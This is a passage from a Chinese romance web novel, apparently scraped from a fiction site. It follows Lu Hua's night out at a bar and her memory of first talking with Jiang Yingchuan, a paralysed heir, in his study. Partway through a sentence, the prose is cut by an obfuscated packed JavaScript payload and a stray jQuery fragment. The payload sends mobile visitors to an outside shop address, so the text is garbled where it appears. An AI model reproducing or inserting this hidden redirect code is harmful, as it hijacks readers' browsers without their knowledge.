卢婳在云氏庄园住到第三天，才终于下定决心出门。
云玳成走之前给她留了一辆车和一个司机，说是让她出门方便。她其实哪里都不想去，终日窝在二楼的起居室看书、刷手机、发呆。佣人按时送餐上来，她就吃几口；不送，她也想不起来饿。
她合上比较法学的课本，揉了揉发昏的太阳穴。想起当年的远离人群、鲜少出门的江映川，难得在她学校的操场看台坐着。天空碧蓝，他兴起让她解释那句古老的法谚:“城邦之外，非神即兽。”她当时看着他明澈的眼睛，从亚里士多德讲起，末了她巧笑抬手点住江映川的鼻骨。“江少爷，你是神。城邦之外的神。”
是的。他那时远离纷争，远离人群，终日在家读书弹琴，不食人间烟火，不惹凡尘。
可他被她一把拉进滚滚红尘。她却翩然抽身。
傍晚，崔景瑶给她发消息：“婳婳，听说你在老爷子那里？出来喝一杯？”
卢婳盯着屏幕看了很久，回了个“好”。
她选了条黑色的连衣裙，很素的款式，没有任何装饰，只在腰间系了条细带。头发散下来，戴了副墨镜。出门前对着镜子看了很久，自嘲笑笑，觉得自己像去奔丧。
司机老周很客气，问她去哪里。
她说了一个酒吧的名字，老周边皱了眉，说云先生交代过要注意安全。卢婳笑了笑，说没事，朋友约的，她喝杯酒就回。
老周不再说什么，启动车子。
酒吧是那种藏在箱子里的、不挂牌子的地方。崔景瑶已经在里面了，旁边坐着两个年轻男人，看起来都是体面人家的子弟。
“婳婳！”崔景瑶朝她招手，“来来来，给你介绍，这是赵锴，赵家的老三；这是周砚白，就是我跟你说过的那个……”
卢婳摘了墨镜，冲两人点了点头，在崔景瑶身边坐下。
赵锴的眼睛立刻亮了。
他太多漂亮女人，但卢婳这种级别的，确实少见。尤其她今天没有精心打扮，反而有种不施粉黛的动人。
“卢小姐现在……”赵锴试探着问。
“她啊，”崔景瑶替她回答，“现在跟着云老爷子呢。”
赵锴的表情变了一下，像是惋惜，又像是忌惮。云玳成三个字在港城是个不小的招牌，他的人，旁人不好碰。
卢婳端起面前的威士忌，喝了一口。
“你慢点喝。”崔景瑶按住她的手。
“没事。”卢婳笑笑，眼波流转间看向对面的周砚白，“周先生做哪一行的？”
周砚白穿着剪裁考究的深蓝西装，袖扣是低调的铂金，整个人透着一股清贵气。他微微一笑：“做点小生意。”
崔景瑶在旁边翻了个白眼：“他要是小生意，我们就是摆地摊的。”顿了顿，又补充道，“砚白的父亲是周宝荣。”
周宝荣。港城最大的珠宝商，周氏珠宝的掌门人。
“周先生看起来不像生意人，倒像读书人。”
“卢小姐眼光毒。”周砚白笑道，语气温和，“我本科读的文学，后来被家里逼着读了商科，算是半路出家。”
崔景瑶看看周砚白，又看看卢婳，心里叹了一声。她知道卢婳对男人的“标准”——能帮她往上走的那种。周砚白无疑符合，不仅符合，简直是超纲。
但她也知道卢婳心里有人。
那个人是谁，崔景瑶隐约猜到几分，但却从未问起。
四个人聊到快十一点，卢婳的手机震了一下。她低头看，是云玳成发来的消息：“早点回去休息，让老周等你。”
她回了个“好”字，抬头说要走了。
赵锴有些不舍：“时间尚早，卢小姐再玩一阵，我让司机送你回去。”
崔景瑶摆摆手：“你们玩你们的，我送她。”
两人出了酒吧，初春的夜风还有些凉。卢婳抱着手臂站在胡同口等老周把车开过来，崔景瑶点了支烟，在烟雾里看她。
“周砚白这样的，不心动？”崔景瑶问。
卢婳没说话。
“你知道他爸，周宝荣，和云老爷子是拜把子的兄弟。要是搭上他……”
“景瑶。”卢婳打断她，声音很轻，“我不想听了。”
崔景瑶愣住。
她认识卢婳四年，从未见过她这副表情。不是冷淡，不是疏离，而是一种疲惫到极点的、仿佛被什么东西压垮了的倦怠，和对自己的厌弃。
那天晚上卢婳回到庄园，卸了妆洗了澡，躺在床上翻来覆去睡不着。手机屏幕亮了又灭，灭了又亮。她的手指在那个没有备注名字的号码上停了很久。
她不确定这个号码还能不能用。也许他已经换了，也许他已经把她拉黑了。她不知道。
她只知道跨年夜那晚，在云氏的酒会上，她远远地看到了他。他站在酒台后面，撑着哑光的手杖，一身深色的西装，整个人像是被黑泽浸透了，没有半分从前和煦的气质。他的脸比以前瘦了，轮廓更深，眉骨和颧骨的线条凌厉得像刀裁出来的。
她看到他站在那里，不喝酒，也不与人交谈，只是沉默地站着。
那一瞬间她几乎要冲过去。
她挽着云玳成的手臂，浅浅地笑，得体地应酬，像一个尽职尽责的女伴。她的目光从酒台的方向掠过，没有停留。
她知道他看到了她。
她知道他一定恨她。
恨吧，卢婳想。恨总比……恨总比爱来得容易。
时间倒回彼时。
卢婳第二次见到江映川，是在江家大宅。后来才知道，其实江映川并不长住那里，他自己住在湾畔的平层，那段时间去了大宅两次，恰好都碰到卢婳。
那天她本去找江映舟的——他约了她吃饭，说找到了一家很不错的日料店。她到了大宅管家通报后，她直接上了楼，偏厅等待，听到江映舟房里传来女人的笑声。
她站在玄关，手里还拎着要给江映舟看的几份实习简历。他说推荐她去国内顶尖的盈达律所实习。
门开，一个穿着吊带裙的女人走出来，看到她，愣了一下，然后回头冲里面喊：“映舟，有人找。”
江映舟着家居服出来，头发乱糟糟的，看到卢婳也不慌张，笑嘻嘻地说：“婳婳，不好意思啊，昨晚喝多了，把今天的事给忘了。改天改天，我请你吃更好的。”
卢婳并不恼，攥紧了手里的简历，脸上却还挂着甜笑：“没事，你先忙。”
她把简历收进包里，转身走了，觉得有些发闷。她不是不知道江映舟是什么人，她从一开始就知道。她跟在他身边，不过是想从他身上得到点什么。既然如此，她又有什么资格觉得堵心？
出了门，她没急着走，站在宅院外深呼吸。
十一月的风很冷。她只穿了件白色拉绒的高领薄毛衣，衬得皮肤粉白，但也冻得直哆嗦。
“你好。”
有人打招呼。
她回头，看到那日残疾的青年撑着拐杖站在几步之外，穿着一件深灰色的羊绒大衣，围巾裹得很高，显得脸庞更是瘦削苍白。
那是她第一次在清醒的时候、在光线充足的情况下看清他的脸。她当然记得这张脸，他比江映舟好看。不是那种张扬的、侵略性的好看，而是一种沉静的、甚至有些脆弱的俊朗。他的眉眼很深，鼻梁很直，嘴唇的颜色很淡，像是常年不怎么见太阳。
“哦！我想起来了！你怎么在这儿？”她问。
“我大哥找我有点事。”江映川顿了顿。
卢婳打量他，和江映舟相似的眉眼。听他的话语，思忖猜到他应该是江家小儿子，江映川。江家家族的故事是各种八卦节目的常客，加上二子江映舟个性高调，各种花边新闻不断，更是让江家的故事人尽皆知。江家三子，长子江映天，老二江映舟，老三江映川。江映天今年四十岁，是老江总江鹤庭与原配所生，母亲早逝。江映舟和江映川是后面两位续弦妻子所生，三个孩子，分别三位母亲。江映天是传统的商业掌舵人，稳重、老练、根基深厚，但至今未婚。江映舟在近几年是后起之秀，锐意进取，已经进了董事局。唯有江映川远离江家纷争，名下两家广告公司和三间商场经营权，对于江家庞大的资产来说，不值一提。
“你是……”卢婳揣着明白装糊涂。
“我叫江映川。”
“哦，你好，我叫卢婳。是映舟的……朋友。”
“来找映舟？”他问。
“嗯。”卢婳笑笑，“不过他好像不太方便。”原本她是要离开的，可是遇到江映川，她却顿了顿说:“我在这里等等他吧。”
她在期待什么呢？江家最好看的皮囊，她只是想多聊几句罢了。
江映川沉默了两秒，像是明白了什么。他微微侧了侧身，说：“去我书房坐坐？外面冷。”
鬼使神差的他问出这句。他不是唐突冒失的性子，只是今天这女孩在寒风中微红的鼻尖，让他生出恻隐。
卢婳也不扭捏，笑着点了点头。
江映川书房并没有奢华的装修，没有昂贵的家具，只有一张沙发、一张茶几、一个书架，书架上摆满了书。
但温暖。地暖开得很足，卢婳一进去就觉得四肢百骸都舒展了。
“随便坐。”江映川撑着手杖，他走得很艰难，像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604764|205699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是拖着两条腿似的，“喝茶还是咖啡？”
“茶吧，谢谢。”
“这边我不常来住。”他招呼大宅的佣人奉茶。佣人应该蛮少见到他，和他说话也很松弛，问了他的近况，笑着去准备茶水。
她坐在沙发上，环顾四周，目光落在江映川手上药盒上。药盒很大，分成十几个小格子，每个格子里都装着花花绿绿的药片。她数了数，一天的药量至少有二十几片。
他接过佣人端来的温水，抓出药片，吞下。他动作很慢，斯文典雅。
江映川看到她盯着药盒，动作顿了一下。
“如你所见，我身体不大好”他淡淡地说，眼睛朝身边的拐杖抬了抬。
卢婳接过佣人递来的茶杯，看着他俊秀苍白的脸，看了看他的拐杖，问：“是腿痛？”
他今日应该是穿着假肢。根本看不出他的肢体有残缺。只觉得身姿卓绝，气质如同清新的茶香。
“算是吧。”江映川含糊回答。
他在她对面坐下，动作很慢。卢婳注意到他在坐下之前，先用手撑着沙发的边缘，才缓缓落座。
他说话的时候语气很平静，就像在描述别人的事情。
卢婳不知道该说什么。她想起第一次见他时，他让自己帮忙捡拐杖的样子。那时她喝醉了，没太在意。现在想来，一个连捡拐杖都需要别人帮忙的人，维持这样正常的走路姿势该有多难。
“疼就坐轮椅嘛。别老是走路，自己找罪受，很辛苦。”她看到过他的残缺，觉得如果身体不便，没有必要强撑，坐轮椅也不必忍受疼痛。她以为他是普通的截肢，走路多了，会疼。
江映川一怔，笑了。那是她第一次看到他笑，不是客气的、应付的笑，而是真正的、带着温度的笑。他的眼睛弯起来，眼尾的弧度很好看。
“你这个人，”他说，“说话倒是直接。”
卢婳被他笑得有些不好意思，低下头喝茶。
那天下午她在他书房里坐了很久。他们聊了很多，从她正在读的法学专业，到他书架上的那些书。他说他以前很喜欢读加缪，觉得《局外人》里的默尔索是某种意义上的英雄。后来不这么觉得了，英雄不英雄的，活着本身就够累了。
卢婳听他说话，觉得他和江映舟完全不一样。江映舟是个漂亮的空心人，而江映川是一口深井，表面上波澜不惊，下面却藏着很多她看不清的东西。
卢婳坐在沙发上和他聊天。说起成长，聊她小时候的事，聊她妈妈一个人拉扯她长大的辛苦，聊她在学校时因为交不起校园演出的服装费，退出表演，被同学嘲笑时的难堪。
她从不在别人面前说这些。
可在江映川面前，她说着说着就说出来了。
他其实并不是一个好的聊天对象。他的话太少了，大部分时候只是安静地听，偶尔点点头，或者说一句“嗯，我知道了”。
但恰恰是这种安静，不带同情，不带评判。让她觉得安全。
她说完一大段话，突然沉默了。
江映川等了一会儿，问：“怎么了？”
“我是不是说太多了？”卢婳看着自己绞在一起的手指，“我平时不这样的。”她长长的如绸缎般的头发随她的动作垂落肩膀。
“没关系。”
“你不觉得我很烦吗？今日在你这里蹭茶蹭，平白给你倒苦水。”
江映川看着她，目光很认真：“不觉得。”
卢婳抬起头，对上他的视线。
那双眼睛里有光。不是窗外的光折射进去的，而是从很深很深的地方透出来的，温暖的、柔软的、让她胸口发紧的光。
她忽然觉得害怕。那种害怕不是恐惧，而是一种她从未体验过的、想要逃跑却又舍不得跑的心情。
临走的时候，江映川撑着拐杖，送她到门口。他走路不方便，卢婳原是不让他送的，可是他执意。他走得艰难缓慢，身体不稳，并不像是街上可以看到的肢残者，撑着拐杖也灵活自如。走路的速度比蜗牛还慢。
卢婳走在他旁边，有点不自在。太慢了。他太艰难了。
“其实我的腿是瘫痪的。”江映川淡淡说“我也只能送你到门口，再远的话的确需轮椅代步”。
卢婳意外，惊异看着他。
江映川平静之下眼神有些闪躲。他确实走不动了，身体重量都在两只肘拐上，拖着几乎不能动的双腿。他很少这样解释自己的身体情况，只是眼前这卢婳率直坦诚，他便说了。
“多多锻炼，会好的吧？”卢婳当时不知道脊髓损伤是多么残忍的事。
“在努力。希望吧。”江映川答。